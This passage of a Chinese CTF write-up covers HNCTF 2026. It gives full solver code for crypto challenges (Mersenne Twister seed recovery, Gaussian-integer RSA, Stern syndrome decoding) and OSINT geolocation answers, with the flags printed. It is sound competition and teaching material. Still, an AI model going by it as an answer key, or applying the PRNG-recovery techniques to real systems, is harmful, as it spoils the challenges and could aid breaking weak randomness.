value = undo_right_xor(value, 18)
value = undo_left_xor(value, 15, 0xEFC60000)
value = undo_left_xor(value, 7, 0x9D2C5680)
value = undo_right_xor(value, 11)
return value & MASK32
def invert_step(state_i, state_i_227):
x = state_i ^ state_i_227
low_bit = (x & 0x80000000) >> 31
if low_bit:
x ^= 0x9908B0DF
x = (x << 1) & MASK32
return x & 0x80000000, low_bit + (x & 0x7FFFFFFF)
def init_genrand(seed):
mt = [0] * 624
mt[0] = seed & MASK32
for i in range(1, 624):
mt[i] = (0x6C078965 * (mt[i - 1] ^ (mt[i - 1] >> 30)) + i) & MASK32
return mt
INIT_MT = init_genrand(19650218)
def recover_kj_from_j_state(j_i, j_i_1, i):
return (j_i - (INIT_MT[i] ^ ((j_i_1 ^ (j_i_1 >> 30)) * 1664525))) & MASK32
def recover_j_state_from_i_state(i_i, i_i_1, i):
return ((i_i + i) ^ ((i_i_1 ^ (i_i_1 >> 30)) * 1566083941)) & MASK32
def recover_key_word_from_i_state(i_i, i_i_1, i_i_2, i):
j_i = recover_j_state_from_i_state(i_i, i_i_1, i)
j_i_1 = recover_j_state_from_i_state(i_i_1, i_i_2, i - 1)
return recover_kj_from_j_state(j_i, j_i_1, i)
def mt_leak_from_seed(seed):
import random
rng = random.Random(seed)
bit_sizes = (30, 64, 32)
return [rng.getrandbits(bit_sizes[i % 3]) for i in range(300)]
def raw_outputs_from_leak(outputs):
raw = []
partial = []
for i in range(100):
out30, out64, out32 = outputs[3 * i:3 * i + 3]
partial.append(len(raw))
raw.append(out30 << 2)
raw.append(out64 & MASK32)
raw.append((out64 >> 32) & MASK32)
raw.append(out32 & MASK32)
return raw, set(partial)
def recover_mt_seed(outputs):
raw, partial = raw_outputs_from_leak(outputs)
needed = list(range(10)) + list(range(227, 237))
missing_low_bits = [i for i in needed if i in partial]
fixed = {i: raw[i] for i in needed if i not in partial}
for low_bits in itertools.product(range(4), repeat=len(missing_low_bits)):
values = dict(fixed)
for index, bits in zip(missing_low_bits, low_bits):
values[index] = raw[index] | bits
states = {i: untemper(values[i]) for i in needed}
lower = {}
msb = {}
for i in range(10):
msb[i + 227], lower[i + 228] = invert_step(states[i], states[i + 227])
i_state = {i: (lower[i] + msb[i]) & MASK32 for i in range(228, 237)}
for top_bit in (0, 0x80000000):
i_state[237] = lower[237] + top_bit
key_words = [None] * 8
ok = True
for i in range(230, 238):
key_index = (i - 1) % 8
word = recover_key_word_from_i_state(i_state[i], i_state[i - 1], i_state[i - 2], i)
word = (word - key_index) & MASK32
if key_words[key_index] is not None and key_words[key_index] != word:
ok = False
break
key_words[key_index] = word
if ok and all(word is not None for word in key_words):
seed = sum(word << (32 * i) for i, word in enumerate(key_words))
if mt_leak_from_seed(seed) == outputs:
return seed
raise ValueError("failed to recover MT seed")
def parse_output(text):
parsed = {}
for line in text.splitlines():
line = line.strip()
if not line or line.startswith("#") or "=" not in line:
continue
key, value = line.split("=", 1)
key = key.strip()
value = value.strip()
if key in {"n", "c_rsa"}:
parsed[key] = int(value)
elif key in {"iv", "c_aes"}:
parsed[key] = bytes.fromhex(value)
elif key == "outputs":
parsed[key] = ast.literal_eval(value)
missing = {"n", "c_rsa", "iv", "c_aes", "outputs"} - parsed.keys()
if missing:
raise ValueError(f"missing output fields: {', '.join(sorted(missing))}")
return parsed
def solve(data):
p = generate_prime(1024)
if data["n"] % p != 0:
raise ValueError("deterministic p is not a factor of n")
q = data["n"] // p
phi = (p - 1) * (q - 1)
d = pow(65537, -1, phi)
last_round_key = long_to_bytes(pow(data["c_rsa"], d, data["n"]), 16)
random_key2 = invert_last_round_key(last_round_key)
mt_seed = recover_mt_seed(data["outputs"])
random_key1 = mt_seed.to_bytes(32, "big")[:16]
key = xor_bytes(random_key1, random_key2)
plaintext = AES.new(key, AES.MODE_CBC, data["iv"]).decrypt(data["c_aes"])
return unpad(plaintext, 16)
def main():
if len(sys.argv) > 1:
text = Path(sys.argv[1]).read_text(encoding="utf-8")
elif not sys.stdin.isatty():
text = sys.stdin.read()
else:
raise SystemExit("usage: python solve.py output.txt")
flag = solve(parse_output(text))
print(flag.decode(errors="replace"))
if __name__ == "__main__":
main()
python .\solve.py .\target_output_saved.txt

H&NCTF{d93c1685-19a3-4c18-b667-a45e8a3f7eb4}

题目名称:rsa pro max#

解题人:weixiao

解题过程:

题目实现的是 Gaussian integer 上的 RSA。代码中用二元组表示复整数:

(a, b) <=> a + bi

对应的加法、乘法和 norm 为:

(a + bi)(c + di) = (ac - bd) + (ad + bc)i
Norm(a + bi) = a^2 + b^2

题目生成两个 Gaussian prime:

p, np = random_gaussian_prime(PRIME_BITS)
q, nq = random_gaussian_prime(PRIME_BITS)

其中 np = Norm(p)nq = Norm(q),并且 np, nq 都是满足 1 mod 4 的有理素数。

模数为:

N = p * q

因此:

Norm(N) = Norm(p) * Norm(q) = np * nq

这一步是本题的关键。不能直接把 N = a + bi 当成普通整数 RSA 模数,而是应该对 Gaussian integer 取 norm 后分解。

题目给出的参数为:

e = 65537
base = 256
k = 16
S = (72, 117)
P = (97, 125)
N = (
-285076339391714133886998989405561241005,
-158629281313461832934731017808709616276
)
C = (
43768499594212098138374344295509835882,
25834506882323987292031095052053291634
)

根据脚本计算:

normN = gnorm(N)
fac = factor(normN)

需要分解的整数是:

106431768171005195056578309153304963000625696907332359069222316936790857518201

也就是:

Norm(N) = N.real^2 + N.imag^2 = np * nq

分解得到 np, nq 后,就可以构造 Gaussian RSA 的解密指数。

明文编码

题目中 flag 长度满足:

len(flag) == 2 * (K + 2)

由于:

K = 16

所以:

len(flag) = 36
half = 18

题目把 flag 分成前后两半:

real = flag[:half]
imag = flag[half:]

然后按照小端形式编码成 Gaussian integer:

m = sum((real[i] + imag[i] * i) * 256^i)

也就是说:

M.real = real[0] + real[1] * 256 + ... + real[17] * 256^17
M.imag = imag[0] + imag[1] * 256 + ... + imag[17] * 256^17

题目还泄露了:

S = (flag[0], flag[half])
P = (flag[half - 1], flag[-1])

即:

flag[0] = 72 = 'H'
flag[half] = 117 = 'u'
flag[half-1] = 97 = 'a'
flag[-1] = 125 = '}'

因为编码是小端,所以 flag[half - 1]flag[-1] 分别是 M.realM.imag 的最高字节。

因此可以得到范围:

B17 = 256^17
97 * B17 <= M.real < 98 * B17
125 * B17 <= M.imag < 126 * B17

脚本中对应为:

B17 = ZZ(BASE) ** (half - 1)
Lr, Ur = ZZ(P[0]) * B17, ZZ(P[0] + 1) * B17
Li, Ui = ZZ(P[1]) * B17, ZZ(P[1] + 1) * B17

解密得到 residue

分解 Norm(N) 得到 np, nq 后,可以构造:

phi = lcm(np - 1, nq - 1)
d = inverse_mod(e, phi)

然后计算:

R = gaussian_powmod(C, d, N)

这里得到的不是原始明文 M,而是:

R ≡ M mod N

原因是题目中有:

assert gnorm(M) > gnorm(N)

所以明文的 norm 大于模数的 norm。直接 Gaussian RSA 解密只能恢复模 N 意义下的剩余类,不能直接拿到原始 M

从 residue 提升回明文

既然:

R ≡ M mod N

那么存在 Gaussian integer:

u + vi

使得:

M = R + (u + vi)N

设:

N = Nr + Ni*i
R = Rr + Ri*i

则:

M.real = Rr + u * Nr - v * Ni
M.imag = Ri + u * Ni + v * Nr

脚本中就是利用这两个式子恢复 u, v

由于我们已经知道 M.realM.imag 的范围:

Lr <= M.real < Ur
Li <= M.imag < Ui

先将矩形四个角反乘 N^{-1},估计 u 的范围:

def uv_from_xy(x, y):
x -= Rr
y -= Ri
den = normN
uu = QQ(x*Nr + y*Ni) / QQ(den)
vv = QQ(-x*Ni + y*Nr) / QQ(den)
return uu, vv
corners = [
uv_from_xy(x, y)
for x in (Lr, Ur-1)
for y in (Li, Ui-1)
]
umin = floor(min(u for u, v in corners)) - 5
umax = ceil(max(u for u, v in corners)) + 5

然后枚举这个很小的 u 区间。

固定 u 后,由下面两个不等式分别求出 v 的范围:

Lr <= Rr + u * Nr - v * Ni < Ur
Li <= Ri + u * Ni + v * Nr < Ui

脚本中通过 add_ineq_for_v 统一求解线性不等式:

def add_ineq_for_v(lo, hi, const, coef):
# lo <= const + coef*v < hi
lo, hi, const, coef = map(ZZ, (lo, hi, const, coef))
if coef > 0:
return ceil_div(lo - const, coef), floor_div(hi - 1 - const, coef)
else:
return ceil_div(hi - 1 - const, coef), floor_div(lo - const, coef)

得到两个 v 区间后取交集:

v1_lo, v1_hi = add_ineq_for_v(Lr, Ur, Rr + u*Nr, -Ni)
v2_lo, v2_hi = add_ineq_for_v(Li, Ui, Ri + u*Ni, Nr)
vlo, vhi = max(v1_lo, v2_lo), min(v1_hi, v2_hi)

如果交集非空,就枚举其中的 v,还原:

Mr = Rr + u * Nr - v * Ni
Mi = Ri + u * Ni + v * Nr

然后检查最低字节是否匹配 S

if Mr % BASE != S[0] or Mi % BASE != S[1]:
continue

最后将两个部分按照小端转回 bytes:

real = int(Mr).to_bytes(half, 'little')
imag = int(Mi).to_bytes(half, 'little')
flag = real + imag

并用 flag 格式筛选:

if flag.startswith(b'H&NCTF{') and flag.endswith(b'}'):
print(flag)

即可得到唯一候选。

solve.sage

"""
[+] factor Norm(N) = 315251866387752868275572700381099631229 * 337608685368087429339298615454500394669
[+] residue R = (-194576725514947870360899698428091409334, 67381525646482856392856838673146002332)
[+] searching u in [-39231, -38857]
[+] candidate: b'H&NCTF{y0u_kn0w_gaussian_rsa_pr0max}'
H&NCTF{y0u_kn0w_gaussian_rsa_pr0max}"""from sage.all import *
# parameters copied from chal.sage output
e = 65537
BASE = 256
K = 16
half = K + 2
S = (72, 117)
P = (97, 125)
N = (-285076339391714133886998989405561241005,
-158629281313461832934731017808709616276)
C = (43768499594212098138374344295509835882,
25834506882323987292031095052053291634)
def gi(a, b=0): return (ZZ(a), ZZ(b))
def gadd(x, y): return (x[0] + y[0], x[1] + y[1])
def gsub(x, y): return (x[0] - y[0], x[1] - y[1])
def gmul(x, y): return (x[0]*y[0] - x[1]*y[1], x[0]*y[1] + x[1]*y[0])
def gnorm(x): return x[0]*x[0] + x[1]*x[1]
def nearest_div(num, den): return ZZ(floor(QQ(num)/QQ(den) + QQ(1)/QQ(2)))
def gaussian_divmod(x, y):
den = gnorm(y)
qr = nearest_div(x[0]*y[0] + x[1]*y[1], den)
qi = nearest_div(x[1]*y[0] - x[0]*y[1], den)
q = (qr, qi)
return q, gsub(x, gmul(q, y))
def gaussian_mod(x, n): return gaussian_divmod(x, n)[1]
def gaussian_mulmod(x, y, n): return gaussian_mod(gmul(x, y), n)
def gaussian_powmod(x, ee, n):
x = gaussian_mod(x, n)
res = gi(1, 0)
while ee:
if ee & 1:
res = gaussian_mulmod(res, x, n)
x = gaussian_mulmod(x, x, n)
ee >>= 1
return res
def ceil_div(a, b):
return -((-ZZ(a)) // ZZ(b))
def floor_div(a, b):
return ZZ(a) // ZZ(b)
def add_ineq_for_v(lo, hi, const, coef):
# lo <= const + coef*v < hi
lo, hi, const, coef = map(ZZ, (lo, hi, const, coef))
if coef > 0:
return ceil_div(lo - const, coef), floor_div(hi - 1 - const, coef)
else:
return ceil_div(hi - 1 - const, coef), floor_div(lo - const, coef)
# 1) Gaussian RSA 的 phi 来自两个 rational norm primes: Norm(N)=np*nq
normN = gnorm(N)
fac = factor(normN)
print('[+] factor Norm(N) =', fac)
pr = [ZZ(p) for p, ee in fac for _ in range(ee)]
assert len(pr) == 2
np, nq = pr
phi = lcm(np - 1, nq - 1)
d = inverse_mod(e, phi)
# 2) decrypt only gets M mod N, because chal has assert gnorm(M) > gnorm(N)
R = gaussian_powmod(C, d, N)
print('[+] residue R =', R)
# 3) recover M = R + (u+vi)N from known first/last bytes.
# real part first half starts with S[0] and ends with P[0]
# imag part second half starts with S[1] and ends with P[1]
B17 = ZZ(BASE) ** (half - 1)
Lr, Ur = ZZ(P[0]) * B17, ZZ(P[0] + 1) * B17
Li, Ui = ZZ(P[1]) * B17, ZZ(P[1] + 1) * B17
Nr, Ni = map(ZZ, N)
Rr, Ri = map(ZZ, R)
# Estimate u range by mapping the four rectangle corners back through multiplication by N^{-1}
def uv_from_xy(x, y):
x -= Rr
y -= Ri
den = normN
uu = QQ(x*Nr + y*Ni) / QQ(den)
vv = QQ(-x*Ni + y*Nr) / QQ(den)
return uu, vv
corners = [uv_from_xy(x, y) for x in (Lr, Ur-1) for y in (Li, Ui-1)]
umin = floor(min(u for u, v in corners)) - 5
umax = ceil(max(u for u, v in corners)) + 5
print(f'[+] searching u in [{umin}, {umax}]')
cands = []
for u in range(ZZ(umin), ZZ(umax) + 1):
# M_r = Rr + u*Nr - v*Ni ; M_i = Ri + u*Ni + v*Nr
v1_lo, v1_hi = add_ineq_for_v(Lr, Ur, Rr + u*Nr, -Ni)
v2_lo, v2_hi = add_ineq_for_v(Li, Ui, Ri + u*Ni, Nr)
vlo, vhi = max(v1_lo, v2_lo), min(v1_hi, v2_hi)
if vlo > vhi:
continue
for v in range(vlo, vhi + 1):
Mr = Rr + u*Nr - v*Ni
Mi = Ri + u*Ni + v*Nr
if Mr % BASE != S[0] or Mi % BASE != S[1]:
continue
real = int(Mr).to_bytes(half, 'little')
imag = int(Mi).to_bytes(half, 'little')
flag = real + imag
if flag.startswith(b'H&NCTF{') and flag.endswith(b'}'):
cands.append((u, v, flag))
print('[+] candidate:', flag)
assert cands, 'no candidate found; check copied parameters'
print(cands[0][2].decode())
"""
[+] factor Norm(N) = 315251866387752868275572700381099631229 * 337608685368087429339298615454500394669
[+] residue R = (-194576725514947870360899698428091409334, 67381525646482856392856838673146002332)
[+] searching u in [-39231, -38857]
[+] candidate: b'H&NCTF{y0u_kn0w_gaussian_rsa_pr0max}'
H&NCTF{y0u_kn0w_gaussian_rsa_pr0max}
"""

Image

H&NCTF{y0u_kn0w_gaussian_rsa_pr0max}

题目名称:狗仔的自我养成#

解题人:weixiao

解题过程:

先看 challenge.py,可以发现这不是普通图片隐写直接读 flag,而是一个多轮 syndrome decoding 链。

图片中最低 bit-plane 按伪随机位置藏了每一轮的 payload。每一轮 payload 分成两部分:

  • m bit:一个 syndrome

  • 96 bit:下一轮 state 的校验值 stage_check(state_after)

每轮参数如下:

stagenmwslot_bits
stage_a1024896721280
stage_b15361344881664
stage_c15361344961664
stage_d204817921282304

每轮都需要找到一个固定重量为 w 的 support,使得:

H * e = syndrome
weight(e) = w

找到 support 后,用它派生下一轮 state:

state_after = next_state(state, stage, support)

再用 payload 中的 96-bit check 验证:

stage_check(state_after) == next_state_check

通过四轮后,最终 state 用 HKDF 派生 AES-GCM key 解密 flag。

提取 stage0

脚本已经提供了提取接口:

Terminal window
python .\challenge.py info
python .\challenge.py extract --stage 0

stage0 提取结果包含:

  • matrix_seed_hex

  • syndrome_hex

  • next_state_check_hex

后续 stage 的提取依赖上一轮 state,所以必须逐轮解。

关键思路

一开始容易被题面中的“照片越糊”带偏,去尝试 bit-plane 可视化、条码识别、低位隐写、马赛克块统计等方向。

但真正的核心是脚本里的版本名:

mosaic-chain-syndrome-v3

题目本质是 4 轮 syndrome decoding。由于 n - m 分别只有:

128, 192, 192, 256

可以使用 Information Set Decoding / Stern meet-in-the-middle 来求固定重量解,而不是暴力搜索 support。

Stern / MITM 解码

对每一轮,把矩阵 H 做随机系统形变换,得到类似:

[A | I]

设信息位长度为:

k = n - m

随机选系统形后,错误向量可以分成两部分:

  • 信息位部分,重量为 p

  • 校验位部分,重量为 w - p

Stern 的思路是把信息位再分成左右两半,对左右各枚举一半重量,然后按 syndrome 的低 ell bit 做碰撞。

碰撞后得到候选:

y = syndrome ^ left_sum ^ right_sum

如果:

weight(y) == w - p

就能拼出完整 support。再用原始 syndrome 和 stage_check 验证即可。

本题中使用的参数大致是:

stagek常用 pell
stage_a128616
stage_b192618
stage_c192618
stage_d256620

前三轮 Python 版可以跑出结果;最后一轮矩阵更大,用 C++ 加速。

我写了两个求解脚本:

  • stern_solve.py:Python 版 Stern/MITM,适合前几轮

  • stern_cpp.cpp:C++ 版 Stern/MITM,用来加速最后一轮

  • solve.py:读取 supports.json,逐轮校验 support 并解密 flag

solve.py

import json
from pathlib import Path
import challenge
from PIL import Image
def solve_with_supports(supports):
img = Image.open(challenge.IMAGE_PATH).convert("RGB")
states = []
state = challenge.initial_state()
for index, support in enumerate(supports):
stage = challenge.CHALLENGE["stages"][index]
material = challenge.derive_stage_material(state, stage)
info = challenge.extract_stage(index, states)
syndrome = int(info["syndrome_hex"], 16)
check = bytes.fromhex(info["next_state_check_hex"])
got = challenge.syndrome_from_support(stage, support, material["matrix_seed"])
if got != syndrome:
raise ValueError(f"stage {index}: bad syndrome")
state = challenge.next_state(state, stage, support)
if challenge.stage_check(state) != check:
raise ValueError(f"stage {index}: bad state check")
print(f"stage {index} ok: {state.hex()}")
states.append(state)
print(challenge.decrypt_with_state(states[-1]))
if __name__ == "__main__":
path = Path("supports.json")
if not path.exists():
raise SystemExit("write supports.json as a JSON list of support lists")
solve_with_supports(json.loads(path.read_text()))

stern_cpp.cpp

#include <algorithm>
#include <chrono>
#include <cstdint>
#include <fstream>
#include <functional>
#include <iostream>
#include <numeric>
#include <random>
#include <stdexcept>
#include <string>
#include <unordered_map>
#include <utility>
#include <vector>
using u64 = uint64_t;
struct Entry {
u64 hi[32];
std::vector<int> combo;
};
static std::vector<u64> read_u64_file(const std::string &path, size_t count) {
std::ifstream f(path, std::ios::binary);
if (!f) {
throw std::runtime_error("open failed: " + path);
}
std::vector<u64> out(count);
f.read(reinterpret_cast<char *>(out.data()), static_cast<std::streamsize>(count * sizeof(u64)));
if (f.gcount() != static_cast<std::streamsize>(count * sizeof(u64))) {
throw std::runtime_error("short read: " + path);
}
return out;
}
static inline int get_bit(const std::vector<u64> &row, int bit) {
return static_cast<int>((row[bit >> 6] >> (bit & 63)) & 1ULL);
}
static inline void xor_row(std::vector<u64> &a, const std::vector<u64> &b) {
for (size_t i = 0; i < a.size(); ++i) {
a[i] ^= b[i];
}
}
static int popcount_words(const std::vector<u64> &x) {
int w = 0;
for (u64 v : x) {
w += __builtin_popcountll(v);
}
return w;
}
static void mask_last(std::vector<u64> &x, int bits) {
int rem = bits & 63;
if (rem) {
x.back() &= (1ULL << rem) - 1ULL;
}
}
struct Systematic {
std::vector<int> pivots;
std::vector<int> infos;
std::vector<std::vector<u64>> a_cols;
std::vector<u64> syn;
};
static bool systematic_form(
const std::vector<std::vector<u64>> &base_rows,
int n,
int m,
std::mt19937_64 &rng,
Systematic &out
) {
const int words_aug = (n + 1 + 63) / 64;
const int words_m = (m + 63) / 64;
auto rows = base_rows;
std::vector<int> perm(n);
std::iota(perm.begin(), perm.end(), 0);
std::shuffle(perm.begin(), perm.end(), rng);
int rank = 0;
std::vector<int> pivots;
pivots.reserve(m);
for (int col : perm) {
int pivot = -1;
for (int row = rank; row < m; ++row) {
if (get_bit(rows[row], col)) {
pivot = row;
break;
}
}
if (pivot < 0) {
continue;
}
if (pivot != rank) {
std::swap(rows[pivot], rows[rank]);
}
for (int row = 0; row < m; ++row) {
if (row != rank && get_bit(rows[row], col)) {
xor_row(rows[row], rows[rank]);
}
}
pivots.push_back(col);
++rank;
if (rank == m) {
break;
}
}
if (rank != m) {
return false;
}
std::vector<unsigned char> is_pivot(n, 0);
for (int col : pivots) {
is_pivot[col] = 1;
}
std::vector<int> infos;
infos.reserve(n - m);
for (int col = 0; col < n; ++col) {
if (!is_pivot[col]) {
infos.push_back(col);
}
}
std::vector<std::vector<u64>> a_cols(infos.size(), std::vector<u64>(words_m, 0));
for (size_t idx = 0; idx < infos.size(); ++idx) {
int col = infos[idx];
for (int row = 0; row < m; ++row) {
if (get_bit(rows[row], col)) {
a_cols[idx][row >> 6] |= 1ULL << (row & 63);
}
}
}
std::vector<u64> syn(words_m, 0);
for (int row = 0; row < m; ++row) {
if (get_bit(rows[row], n)) {
syn[row >> 6] |= 1ULL << (row & 63);
}
}
mask_last(syn, m);
out.pivots = std::move(pivots);
out.infos = std::move(infos);
out.a_cols = std::move(a_cols);
out.syn = std::move(syn);
return true;
}
static void gen_combos(
const std::vector<std::vector<u64>> &cols,
int start,
int stop,
int choose,
int pos,
int next,
std::vector<int> &combo,
std::vector<u64> &acc,
const std::function<void(const std::vector<u64> &, const std::vector<int> &)> &emit
) {
if (pos == choose) {
emit(acc, combo);
return;
}
for (int i = next; i <= stop - (choose - pos); ++i) {
combo[pos] = i;
for (size_t w = 0; w < acc.size(); ++w) {
acc[w] ^= cols[i][w];
}
gen_combos(cols, start, stop, choose, pos + 1, i + 1, combo, acc, emit);
for (size_t w = 0; w < acc.size(); ++w) {
acc[w] ^= cols[i][w];
}
}
}
static u64 prefix_key(const std::vector<u64> &x, int ell) {
if (ell == 0) {
return 0;
}
if (ell >= 64) {
return x[0];
}
return x[0] & ((1ULL << ell) - 1ULL);
}
static bool stern_try(
const Systematic &sys,
int m,
int w,
int p,
int ell,
std::vector<int> &support_out
) {
const int k = static_cast<int>(sys.infos.size());
const int mid = k / 2;
const int p1 = p / 2;
const int p2 = p - p1;
const int words_m = (m + 63) / 64;
if (p1 > mid || p2 > k - mid) {
return false;
}
std::unordered_multimap<u64, Entry> table;
table.reserve(400000);
std::vector<int> combo1(p1);
std::vector<u64> acc1(words_m, 0);
gen_combos(sys.a_cols, 0, mid, p1, 0, 0, combo1, acc1, [&](const std::vector<u64> &value, const std::vector<int> &combo) {
Entry e;
std::fill(std::begin(e.hi), std::end(e.hi), 0);
for (int i = 0; i < words_m; ++i) {
e.hi[i] = value[i];
}
e.combo = combo;
table.emplace(prefix_key(value, ell), std::move(e));
});
const u64 target_prefix = prefix_key(sys.syn, ell);
std::vector<int> combo2(p2);
std::vector<u64> acc2(words_m, 0);
bool found = false;
gen_combos(sys.a_cols, mid, k, p2, 0, mid, combo2, acc2, [&](const std::vector<u64> &value2, const std::vector<int> &combo_b) {
if (found) {
return;
}
u64 key = target_prefix ^ prefix_key(value2, ell);
auto range = table.equal_range(key);
for (auto it = range.first; it != range.second; ++it) {
std::vector<u64> y = sys.syn;
for (int i = 0; i < words_m; ++i) {
y[i] ^= it->second.hi[i] ^ value2[i];
}
mask_last(y, m);
if (popcount_words(y) != w - p) {
continue;
}
std::vector<int> support;
support.reserve(w);
for (int idx : it->second.combo) {
support.push_back(sys.infos[idx]);
}
for (int idx : combo_b) {
support.push_back(sys.infos[idx]);
}
for (int row = 0; row < m; ++row) {
if ((y[row >> 6] >> (row & 63)) & 1ULL) {
support.push_back(sys.pivots[row]);
}
}
if (static_cast<int>(support.size()) == w) {
std::sort(support.begin(), support.end());
support_out = std::move(support);
found = true;
return;
}
}
});
return found;
}
int main(int argc, char **argv) {
if (argc < 8) {
std::cerr << "usage: stern_cpp n m w cols.bin syn.bin seed max_forms\n";
return 2;
}
int n = std::stoi(argv[1]);
int m = std::stoi(argv[2]);
int w = std::stoi(argv[3]);
std::string col_path = argv[4];
std::string syn_path = argv[5];
uint64_t seed = std::stoull(argv[6]);
int max_forms = std::stoi(argv[7]);
int words_m = (m + 63) / 64;
int words_aug = (n + 1 + 63) / 64;
auto cols_flat = read_u64_file(col_path, static_cast<size_t>(n) * words_m);
auto syn = read_u64_file(syn_path, words_m);
std::vector<std::vector<u64>> rows(m, std::vector<u64>(words_aug, 0));
for (int col = 0; col < n; ++col) {
for (int row = 0; row < m; ++row) {
if ((cols_flat[static_cast<size_t>(col) * words_m + (row >> 6)] >> (row & 63)) & 1ULL) {
rows[row][col >> 6] |= 1ULL << (col & 63);
}
}
}
for (int row = 0; row < m; ++row) {
if ((syn[row >> 6] >> (row & 63)) & 1ULL) {
rows[row][n >> 6] |= 1ULL << (n & 63);
}
}
std::vector<std::pair<int, int>> params;
if (n - m <= 128) {
params = {{0, 0}, {2, 8}, {4, 12}, {6, 16}, {8, 20}};
} else if (n - m <= 192) {
params = {{0, 0}, {2, 8}, {4, 13}, {6, 18}};
} else {
params = {{0, 0}, {2, 8}, {4, 14}, {6, 20}};
}
std::mt19937_64 rng(seed);
auto start = std::chrono::steady_clock::now();
for (int form = 1; form <= max_forms; ++form) {
Systematic sys;
if (!systematic_form(rows, n, m, rng, sys)) {
continue;
}
for (auto [p, ell] : params) {
std::vector<int> support;
if (stern_try(sys, m, w, p, ell, support)) {
auto now = std::chrono::steady_clock::now();
double sec = std::chrono::duration<double>(now - start).count();
std::cerr << "FOUND form=" << form << " p=" << p << " ell=" << ell << " time=" << sec << "\n";
for (size_t i = 0; i < support.size(); ++i) {
if (i) {
std::cout << ",";
}
std::cout << support[i];
}
std::cout << "\n";
return 0;
}
}
if (form % 10 == 0) {
auto now = std::chrono::steady_clock::now();
double sec = std::chrono::duration<double>(now - start).count();
std::cerr << "forms=" << form << " elapsed=" << sec << "\n";
}
}
std::cerr << "not found\n";
return 1;
}

supports.json

[[12, 14, 15, 22, 28, 41, 47, 53, 54, 63, 71, 102, 112, 117, 135, 136, 161, 167, 185, 201, 208, 220, 225, 229, 268, 270, 272, 295, 301, 311, 339, 341, 358, 364, 371, 403, 419, 438, 481, 484, 493, 496, 503, 532, 535, 540, 605, 615, 622, 649, 688, 707, 711, 713, 717, 742, 773, 789, 805, 820, 862, 872, 877, 884, 885, 895, 915, 965, 993, 994, 998, 1002], [6, 11, 32, 34, 43, 73, 107, 112, 155, 177, 183, 186, 207, 209, 215, 218, 225, 238, 263, 303, 312, 319, 326, 341, 355, 374, 395, 398, 435, 439, 465, 472, 502, 505, 547, 558, 569, 587, 609, 623, 629, 658, 662, 680, 698, 712, 766, 771, 790, 795, 809, 831, 854, 865, 932, 946, 968, 993, 997, 1005, 1015, 1016, 1025, 1051, 1105, 1128, 1130, 1182, 1204, 1213, 1219, 1231, 1253, 1298, 1301, 1317, 1341, 1344, 1370, 1398, 1403, 1410, 1427, 1451, 1455, 1460, 1466, 1505], [1, 24, 28, 38, 57, 72, 75, 91, 112, 140, 180, 188, 194, 199, 211, 233, 238, 243, 262, 282, 308, 309, 312, 328, 333, 342, 357, 361, 362, 364, 383, 398, 402, 407, 421, 444, 460, 473, 493, 494, 518, 528, 532, 569, 610, 613, 648, 658, 661, 673, 683, 721, 732, 763, 774, 781, 814, 863, 939, 950, 957, 973, 976, 989, 1071, 1098, 1099, 1122, 1167, 1180, 1198, 1236, 1242, 1252, 1258, 1261, 1263, 1266, 1286, 1300, 1304, 1329, 1335, 1356, 1368, 1390, 1412, 1422, 1441, 1458, 1462, 1464, 1469, 1526, 1527, 1532], [20, 43, 71, 78, 92, 105, 119, 128, 134, 135, 136, 178, 246, 257, 271, 278, 293, 295, 305, 323, 332, 349, 351, 355, 385, 413, 426, 486, 498, 571, 613, 615, 616, 625, 631, 634, 638, 648, 665, 699, 703, 706, 708, 731, 765, 772, 776, 788, 804, 820, 848, 852, 856, 884, 907, 922, 933, 946, 956, 964, 989, 1009, 1010, 1040, 1044, 1046, 1085, 1091, 1099, 1101, 1111, 1132, 1136, 1142, 1163, 1169, 1195, 1202, 1213, 1225, 1240, 1272, 1288, 1292, 1336, 1341, 1374, 1395, 1405, 1429, 1456, 1490, 1516, 1541, 1555, 1575, 1617, 1639, 1706, 1708, 1725, 1732, 1813, 1815, 1829, 1834, 1840, 1857, 1864, 1866, 1877, 1882, 1886, 1899, 1904, 1907, 1914, 1939, 1957, 1961, 1976, 1984, 1990, 1992, 2003, 2017, 2024, 2039]]

Image

H&NCTF{bitplane_calibration_mitm_4way_chain}

OSINT#

题目名称:OSINT1#

解题人:weixiao

解题思路:

从图里可以看出来海蓝星梦幻城,搜索一下。

Image

可以发现全国唯一:

Image

高德地图定位到位置即可:

Image

H&NCTF{辽宁省_沈阳市_七星大街_蒲达路}

题目名称:OSINT2#

解题人:weixiao

解题思路:

百度识图,发现好像是太原发射的卫星:

Image

点击图片进链接,发现就是最近几天发射的火箭。

Image

确定火箭为长征六号甲:

Image

接着就是,找地方了,继续盯真,发现一个地名:清源水城欢

Image

高德地图搜索清源水城,发现最近的是东湖公园,尝试提交正确。

Image

H&NCTF{山西省_太原市_清徐县_东湖公园_长征六号甲}

HNCTF 2026
https://blog-5w0.pages.dev/posts/hnctf-2026/
作者
weixiao
发布于
2026-06-07
许可协议
CC BY-NC-SA 4.0